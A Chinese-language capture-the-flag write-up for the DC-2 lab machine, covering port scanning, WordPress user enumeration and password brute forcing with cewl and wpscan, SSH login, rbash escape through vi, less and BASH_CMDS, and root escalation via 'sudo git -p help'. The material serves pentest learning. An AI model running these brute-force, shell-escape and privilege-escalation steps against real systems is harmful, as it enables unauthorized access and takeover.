DC-2

发布时间 2023-12-15 12:47:10作者: qingshanboy

DC-2

kali 192.168.43.149

DC-2 192.168.43.18

nmsp -sT --min-rate 10000 -p- 192.168.43.18

nmap -T4 -A -v -Pn 192.168.43.18

发现开放端口:80、7744

访问80端口,发现是个wordpress站点

FLAG1提示使用cewl获取爆破字典

cewl http://dc-2 -w dc2Pass.txt——将爬取的单词写入文件

猜测用户名为admin,进行爆破失败

使用wpscan获取该站点存在的用户名

wpscan --url http://dc-2 -enumerate u——获取用户名

admin、tom、jerry

wpscan --url http://dc-2 -P ./dc2Pass.txt -u jerry——爆破jerry的密码

获取jerry密码:adipiscing

获取tom密码:parturient

登录jerry账号获取flag2

提示wordpress cms利用不了的话,找其他的切入点

想到之前扫出的7744端口ssh服务

ssh tom@dc-2登录拿到shell

cat flag3.txt

显示-rbash: which: command not found

使用vi flag3.txt看到内容,大概就是提示你要切换用户

绕过rbash 得到flag4.txt,里面提示使用git提权

绕过rbash还是很多命令用不了,是命令路径出了问题

echo $PATH

image-20230605203312123

修改路径

export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games 
sudo -l——查找当前用户具有root权限的命令

git提权

sudo git -p help
!/bin/bash

cd /root

cat最后的flag

这里搜索rbash限制是什么,如何绕过并提权

rbash是一种受限制的shell,是为了确保系统安全而设置的,用于限制用户的权限

rbash的限制

  • 通过 cd 来改变工作目录

  • 设置或取消环境变量: SHELL, PATH, ENV, BASH_ENV

  • 命令名中不能包含目录分隔符 ‘/’

  • 包含有 ‘/’ 的文件名作为内置命令 ‘.’ 的参数

  • hash 内置命令有 -p 选项时的文件名参数包含 ‘/’

  • 在启动时通过 shell 环境导入函数定义

  • 在启动时通过 shell 环境解析 SHELLOPTS 的值

  • 使用 >,>|, <>, >&, &>, >> 等重定向操作符

  • 使用 exec 内置命令

  • 通过 enable 内置命令的 -f 和 -d 选项增加或删除内置命令

  • 使用 enable 内置命令来禁用或启用 shell 内置命令

  • 执行 command 内置命令时加上 -p 选项

  • 通过 set +r 或 set +o restricted 关闭受限模式

rbash逃逸

利用系统常见应用

1.ftp

2.more

3.less

less filename
: + !/bin/sh

4.man

5.vi

原理:
vi filename
:!/bin/sh
获取shell

实操:
通过设置变量绕过‘\’的限制
vi filename
:set shell=/bin/sh
:shell

6.vim

原理:
vim filename
:!/bin/sh
获取shell

实操:
通过设置变量绕过‘\’的限制
vim filename
:set shell=/bin/sh
:shell
BASH_CMDS[a]=/bin/sh;a

suid提权

SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。

查找具有root权限的suid文件


find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

git提权

sudo git help config
!/bin/bash或者!'sh'


sudo git -p help
!/bin/bash